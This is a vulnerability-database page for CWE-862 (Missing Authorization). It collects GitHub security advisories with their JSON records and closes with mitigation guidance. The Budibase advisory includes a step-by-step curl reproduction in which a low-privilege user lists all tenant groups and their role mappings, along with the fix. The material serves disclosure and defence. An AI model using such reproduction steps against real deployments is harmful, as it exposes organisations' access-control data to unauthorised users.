Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

14884 vulnerabilities reference this CWE, most recent first.

GHSA-4QCF-W92C-26H6

Vulnerability from github – Published: 2024-05-14 18:30 – Updated: 2024-05-14 18:30

Details

SAP Enable Now Manager does not perform necessary authorization checks for an authenticated user, resulting in escalation of privileges. On successful exploitation, the attacker with the role 'Learner' could gain access to other user's data in manager which will lead to a high impact to the confidentiality of the application.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-32730"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-14T15:37:02Z",
    "severity": "MODERATE"
  },
  "details": "SAP Enable Now Manager does not perform necessary authorization checks for an authenticated user, resulting in escalation of privileges. On successful exploitation, the attacker with the role \u0027Learner\u0027 could gain access to other user\u0027s data in manager which will lead to a high impact to the confidentiality of the application.\n\n",
  "id": "GHSA-4qcf-w92c-26h6",
  "modified": "2024-05-14T18:30:47Z",
  "published": "2024-05-14T18:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32730"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3441944"
    },
    {
      "type": "WEB",
      "url": "https://support.sap.com/en/my-support/knowledge-base/security-notes-news.html?anchorId=section_370125364"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4QCJ-M5WP-JMF4

Vulnerability from github – Published: 2026-07-24 21:13 – Updated: 2026-07-24 21:13

Summary

Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings

Details

Summary

The GET /api/global/groups endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.

Steps to Reproduce

1. Start Budibase

docker run -d --name budibase-poc -p 10000:80 \
  -e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \
  -e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \
  -e API_ENCRYPTION_KEY=api_enc_key_test123456 \
  -e BB_ADMIN_USER_EMAIL=admin@test.com \
  -e BB_ADMIN_USER_PASSWORD=TestPassword123! \
  budibase/budibase:latest

until curl -sf http://localhost:10000/health; do sleep 5; done

2. Login as admin, create a user group, create a BASIC user

# Login as admin
curl -s -c /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/auth/default/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin@test.com","password":"TestPassword123!"}'

# Create a user group (requires license with user groups feature, or use Budibase Cloud)
# On self-hosted without license, groups may not be available
# If available:
curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/groups \
  -H "Content-Type: application/json" \
  -d '{"name":"Secret Admin Group","color":"#ff0000","icon":"AdminPanelSettingsIcon","roles":{"app_abc123":"ADMIN"}}'

# Create a BASIC user (no builder, no admin)
curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/users \
  -H "Content-Type: application/json" \
  -d '{"email":"basic@test.com","password":"BasicPass123!","roles":{},"admin":{"global":false},"builder":{"global":false}}'

3. Login as BASIC user and enumerate all groups (the vulnerability)

# Login as BASIC user
curl -s -c /tmp/bb_basic.txt -X POST http://localhost:10000/api/global/auth/default/login \
  -H "Content-Type: application/json" \
  -d '{"username":"basic@test.com","password":"BasicPass123!"}'

# List ALL groups (should return 403, but returns 200 with full data)
curl -s -b /tmp/bb_basic.txt http://localhost:10000/api/global/groups

Expected: 403 Forbidden (consistent with GET /api/global/groups/:id which requires builderOrAdmin)

Actual: 200 OK with full group data including role mappings, member lists, and builder flags.

Standalone verification (code review)

# In the budibase source tree:
grep -A2 'global/groups"' packages/worker/src/api/routes/global/groups.ts

Output shows the list endpoint has NO auth middleware:

  .get("/api/global/groups",            # <-- NO auth.builderOrAdmin
    requireFeature(Feature.USER_GROUPS),
    controller.fetch

Compare with the single-group endpoint directly below:

  .get("/api/global/groups/:groupId",   # <-- HAS auth.builderOrAdmin
    auth.builderOrAdmin,
    requireFeature(Feature.USER_GROUPS),
    controller.getById

Root Cause

File: packages/worker/src/api/routes/global/groups.ts, lines 40-44

The list endpoint is the ONLY group endpoint without RBAC:

Endpoint	Auth Middleware
`POST /api/global/groups`	`auth.adminOnly`
`DELETE /api/global/groups/:id/:rev`	`auth.adminOnly`
`GET /api/global/groups/:id`	`auth.builderOrAdmin`
`GET /api/global/groups/:id/users`	`auth.builderOrAdmin`
`GET /api/global/groups`	NONE

Impact

A BASIC-role user can enumerate: all group names/colors/icons, which apps each group accesses and at what role level, user membership lists (user IDs), builder permission flags, and the isDefault flag. This exposes organizational access control structure and aids reconnaissance for privilege escalation.

Suggested Fix

  router.get("/api/global/groups",
+   auth.builderOrAdmin,
    requireFeature(Feature.USER_GROUPS),
    controller.fetch
  )

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:13:07Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `GET /api/global/groups` endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.\n\n## Steps to Reproduce\n\n### 1. Start Budibase\n\n```bash\ndocker run -d --name budibase-poc -p 10000:80 \\\n  -e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \\\n  -e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \\\n  -e API_ENCRYPTION_KEY=api_enc_key_test123456 \\\n  -e BB_ADMIN_USER_EMAIL=admin@test.com \\\n  -e BB_ADMIN_USER_PASSWORD=TestPassword123! \\\n  budibase/budibase:latest\n\nuntil curl -sf http://localhost:10000/health; do sleep 5; done\n```\n\n### 2. Login as admin, create a user group, create a BASIC user\n\n```bash\n# Login as admin\ncurl -s -c /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/auth/default/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"admin@test.com\",\"password\":\"TestPassword123!\"}\u0027\n\n# Create a user group (requires license with user groups feature, or use Budibase Cloud)\n# On self-hosted without license, groups may not be available\n# If available:\ncurl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/groups \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"Secret Admin Group\",\"color\":\"#ff0000\",\"icon\":\"AdminPanelSettingsIcon\",\"roles\":{\"app_abc123\":\"ADMIN\"}}\u0027\n\n# Create a BASIC user (no builder, no admin)\ncurl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/users \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"basic@test.com\",\"password\":\"BasicPass123!\",\"roles\":{},\"admin\":{\"global\":false},\"builder\":{\"global\":false}}\u0027\n```\n\n### 3. Login as BASIC user and enumerate all groups (the vulnerability)\n\n```bash\n# Login as BASIC user\ncurl -s -c /tmp/bb_basic.txt -X POST http://localhost:10000/api/global/auth/default/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"basic@test.com\",\"password\":\"BasicPass123!\"}\u0027\n\n# List ALL groups (should return 403, but returns 200 with full data)\ncurl -s -b /tmp/bb_basic.txt http://localhost:10000/api/global/groups\n```\n\n**Expected:** 403 Forbidden (consistent with `GET /api/global/groups/:id` which requires `builderOrAdmin`)\n\n**Actual:** 200 OK with full group data including role mappings, member lists, and builder flags.\n\n### Standalone verification (code review)\n\n```bash\n# In the budibase source tree:\ngrep -A2 \u0027global/groups\"\u0027 packages/worker/src/api/routes/global/groups.ts\n```\n\nOutput shows the list endpoint has NO auth middleware:\n```\n  .get(\"/api/global/groups\",            # \u003c-- NO auth.builderOrAdmin\n    requireFeature(Feature.USER_GROUPS),\n    controller.fetch\n```\n\nCompare with the single-group endpoint directly below:\n```\n  .get(\"/api/global/groups/:groupId\",   # \u003c-- HAS auth.builderOrAdmin\n    auth.builderOrAdmin,\n    requireFeature(Feature.USER_GROUPS),\n    controller.getById\n```\n\n## Root Cause\n\nFile: `packages/worker/src/api/routes/global/groups.ts`, lines 40-44\n\nThe list endpoint is the ONLY group endpoint without RBAC:\n\n| Endpoint | Auth Middleware |\n|----------|---------------|\n| `POST /api/global/groups` | `auth.adminOnly` |\n| `DELETE /api/global/groups/:id/:rev` | `auth.adminOnly` |\n| `GET /api/global/groups/:id` | `auth.builderOrAdmin` |\n| `GET /api/global/groups/:id/users` | `auth.builderOrAdmin` |\n| **`GET /api/global/groups`** | **NONE** |\n\n## Impact\n\nA BASIC-role user can enumerate: all group names/colors/icons, which apps each group accesses and at what role level, user membership lists (user IDs), builder permission flags, and the isDefault flag. This exposes organizational access control structure and aids reconnaissance for privilege escalation.\n\n## Suggested Fix\n\n```diff\n  router.get(\"/api/global/groups\",\n+   auth.builderOrAdmin,\n    requireFeature(Feature.USER_GROUPS),\n    controller.fetch\n  )\n```",
  "id": "GHSA-4qcj-m5wp-jmf4",
  "modified": "2026-07-24T21:13:07Z",
  "published": "2026-07-24T21:13:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/pull/19109"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/93db77846e68231ba655f180581c94503985421a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.39.25"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": " Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings"
}

GHSA-4QG3-W6PQ-6H3P

Vulnerability from github – Published: 2024-12-13 15:30 – Updated: 2026-04-28 21:35

Details

Missing Authorization vulnerability in Cimatti Consulting Contact Forms by Cimatti allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Contact Forms by Cimatti: from n/a through 1.5.7.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-35051"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-13T15:15:15Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Cimatti Consulting Contact Forms by Cimatti allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Contact Forms by Cimatti: from n/a through 1.5.7.",
  "id": "GHSA-4qg3-w6pq-6h3p",
  "modified": "2026-04-28T21:35:23Z",
  "published": "2024-12-13T15:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35051"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/contact-forms/vulnerability/wordpress-contact-forms-by-cimatti-plugin-1-5-7-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4QGJ-C63P-26G3

Vulnerability from github – Published: 2025-07-19 06:30 – Updated: 2025-07-19 06:30

Details

The Vchasno Kasa plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the clear_all_log() function in all versions up to, and including, 1.0.3. This makes it possible for unauthenticated attackers to clear log files.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-6720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-19T06:15:24Z",
    "severity": "MODERATE"
  },
  "details": "The Vchasno Kasa plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the clear_all_log() function in all versions up to, and including, 1.0.3. This makes it possible for unauthenticated attackers to clear log files.",
  "id": "GHSA-4qgj-c63p-26g3",
  "modified": "2025-07-19T06:30:57Z",
  "published": "2025-07-19T06:30:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6720"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/mrkv-vchasno-kasa/trunk/classes/mrkv-setup.php#L245"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3328827%40mrkv-vchasno-kasa\u0026new=3328827%40mrkv-vchasno-kasa\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cd03483a-f46c-4e17-8b58-df87b0ad7fa3?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4QM8-VG2R-2HG7

Vulnerability from github – Published: 2025-06-09 18:32 – Updated: 2026-04-01 18:35

Details

Missing Authorization vulnerability in looks_awesome Team Builder allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Team Builder: from n/a through 1.5.7.

Severity

7.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-32308"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-09T16:15:39Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in looks_awesome Team Builder allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Team Builder: from n/a through 1.5.7.",
  "id": "GHSA-4qm8-vg2r-2hg7",
  "modified": "2026-04-01T18:35:24Z",
  "published": "2025-06-09T18:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32308"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/a-team-showcase/vulnerability/wordpress-team-builder-1-5-7-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4QMQ-8RCF-XWVR

Vulnerability from github – Published: 2025-09-22 21:30 – Updated: 2026-04-01 18:36

Details

Missing Authorization vulnerability in SmartDataSoft DriCub allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects DriCub: from n/a through 2.9.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-58004"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-22T19:16:01Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in SmartDataSoft DriCub allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects DriCub: from n/a through 2.9.",
  "id": "GHSA-4qmq-8rcf-xwvr",
  "modified": "2026-04-01T18:36:13Z",
  "published": "2025-09-22T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58004"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/theme/dricub-driving-school/vulnerability/wordpress-dricub-theme-2-9-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4QQ8-W3Q5-56JF

Vulnerability from github – Published: 2024-05-31 06:30 – Updated: 2025-04-08 06:30

Details

Missing authorization vulnerability exists in Unifier and Unifier Cast Version.5.0 or later, and the patch "20240527" not applied. If this vulnerability is exploited, arbitrary code may be executed with LocalSystem privilege. As a result, a malicious program may be installed, data may be modified or deleted.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-36246"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-31T06:15:12Z",
    "severity": "CRITICAL"
  },
  "details": "Missing authorization vulnerability exists in Unifier and Unifier Cast Version.5.0 or later, and the patch \"20240527\" not applied. If this vulnerability is exploited, arbitrary code may be executed with LocalSystem privilege. As a result, a malicious program may be installed, data may be modified or deleted.",
  "id": "GHSA-4qq8-w3q5-56jf",
  "modified": "2025-04-08T06:30:37Z",
  "published": "2024-05-31T06:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36246"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN17680667"
    },
    {
      "type": "WEB",
      "url": "https://www.yrl.com/fwp_support/info/khvu7f00000000q7.html"
    },
    {
      "type": "WEB",
      "url": "https://www.yrl.com/fwp_support/info/khvu7f00000007j8.html"
    },
    {
      "type": "WEB",
      "url": "https://www.yrl.com/fwp_support/info/khvu7f0000000auf.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4QQX-4573-9QP8

Vulnerability from github – Published: 2022-03-31 00:00 – Updated: 2022-04-06 00:01

Details

In WindowManager, there is a possible way to start a foreground activity from the background due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12LAndroid ID: A-205130886

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-39758"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-30T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "In WindowManager, there is a possible way to start a foreground activity from the background due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12LAndroid ID: A-205130886",
  "id": "GHSA-4qqx-4573-9qp8",
  "modified": "2022-04-06T00:01:53Z",
  "published": "2022-03-31T00:00:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39758"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/android-12l"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4QV6-2V4W-Q82F

Vulnerability from github – Published: 2026-01-23 15:31 – Updated: 2026-01-26 21:30

Details

Missing Authorization vulnerability in Jahid Hasan Admin login URL Change admin-login-url-change allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Admin login URL Change: from n/a through <= 1.1.5.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-24578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-23T15:16:15Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Jahid Hasan Admin login URL Change admin-login-url-change allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Admin login URL Change: from n/a through \u003c= 1.1.5.",
  "id": "GHSA-4qv6-2v4w-q82f",
  "modified": "2026-01-26T21:30:35Z",
  "published": "2026-01-23T15:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24578"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/admin-login-url-change/vulnerability/wordpress-admin-login-url-change-plugin-1-1-5-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4QVV-G3VR-M348

Vulnerability from github – Published: 2026-02-03 18:35 – Updated: 2026-02-04 21:58

Summary

Wagtail has improper permission handling on admin preview endpoints

Details

Impact

Due to a missing permission check on the preview endpoints, a user with access to the Wagtail admin and knowledge of a model's fields can craft a form submission to obtain a preview rendering of any page, snippet or site setting object for which previews are enabled, consisting of any data of the user's choosing. The existing data of the object itself is not exposed, but depending on the nature of the template being rendered, this may expose other database contents that would otherwise only be accessible to users with edit access over the model. The vulnerability is not exploitable by an ordinary site visitor without access to the Wagtail admin.

Patches

Patched versions have been released as Wagtail 6.3.6, 7.0.4, 7.1.3 and 7.2.2. The new 7.3 feature release also incorporates this fix.

Workarounds

No workaround is available.

Acknowledgements

Many thanks to @thxtech for reporting this issue.

For more information

If there are any questions or comments about this advisory:

Visit Wagtail's support channels
Send an email to security@wagtail.org (view our security policy for more information).

Severity

5.1 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wagtail"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.0.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "wagtail"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.4rc1"
            },
            {
              "fixed": "7.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "wagtail"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.1rc1"
            },
            {
              "fixed": "7.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.2.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "wagtail"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.2rc1"
            },
            {
              "fixed": "7.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wagtail"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.3rc1"
            },
            {
              "fixed": "7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "7.3rc1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-03T18:35:52Z",
    "nvd_published_at": "2026-02-04T21:16:02Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nDue to a missing permission check on the preview endpoints, a user with access to the Wagtail admin and knowledge of a model\u0027s fields can craft a form submission to obtain a preview rendering of any page, snippet or site setting object for which previews are enabled, consisting of any data of the user\u0027s choosing. The existing data of the object itself is not exposed, but depending on the nature of the template being rendered, this may expose other database contents that would otherwise only be accessible to users with edit access over the model. The vulnerability is not exploitable by an ordinary site visitor without access to the Wagtail admin.\n\n### Patches\nPatched versions have been released as Wagtail 6.3.6, 7.0.4, 7.1.3 and 7.2.2. The new 7.3 feature release also incorporates this fix.\n\n### Workarounds\nNo workaround is available.\n\n### Acknowledgements\n\nMany thanks to @thxtech for reporting this issue.\n\n### For more information\n\nIf there are any questions or comments about this advisory:\n\n- Visit Wagtail\u0027s [support channels](https://docs.wagtail.io/en/stable/support.html)\n- Send an email to [security@wagtail.org](mailto:security@wagtail.org) (view our [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).",
  "id": "GHSA-4qvv-g3vr-m348",
  "modified": "2026-02-04T21:58:34Z",
  "published": "2026-02-03T18:35:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wagtail/wagtail/security/advisories/GHSA-4qvv-g3vr-m348"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25517"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wagtail/wagtail/commit/01fd3477365a193e6a8270311defb76e890d2719"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wagtail/wagtail/commit/5f09b6da61e779b0e8499bdbba52bf2f7bd3241f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wagtail/wagtail/commit/73f070dbefbd3b39ea6649ce36bd2d2a6eef2190"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wagtail/wagtail/commit/7dfe8de5f8b3f112c73c87b6729197db16454915"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wagtail/wagtail/commit/dd824023a031f1b82a6b6f83a97a5c73391b7c03"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wagtail/wagtail"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wagtail/wagtail/releases/tag/v6.3.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wagtail/wagtail/releases/tag/v7.0.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wagtail/wagtail/releases/tag/v7.1.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wagtail/wagtail/releases/tag/v7.2.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wagtail/wagtail/releases/tag/v7.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Wagtail has improper permission handling on admin preview endpoints"
}

Mitigation

Architecture and Design

Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Mitigation

Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Mitigation

Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Mitigation

System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

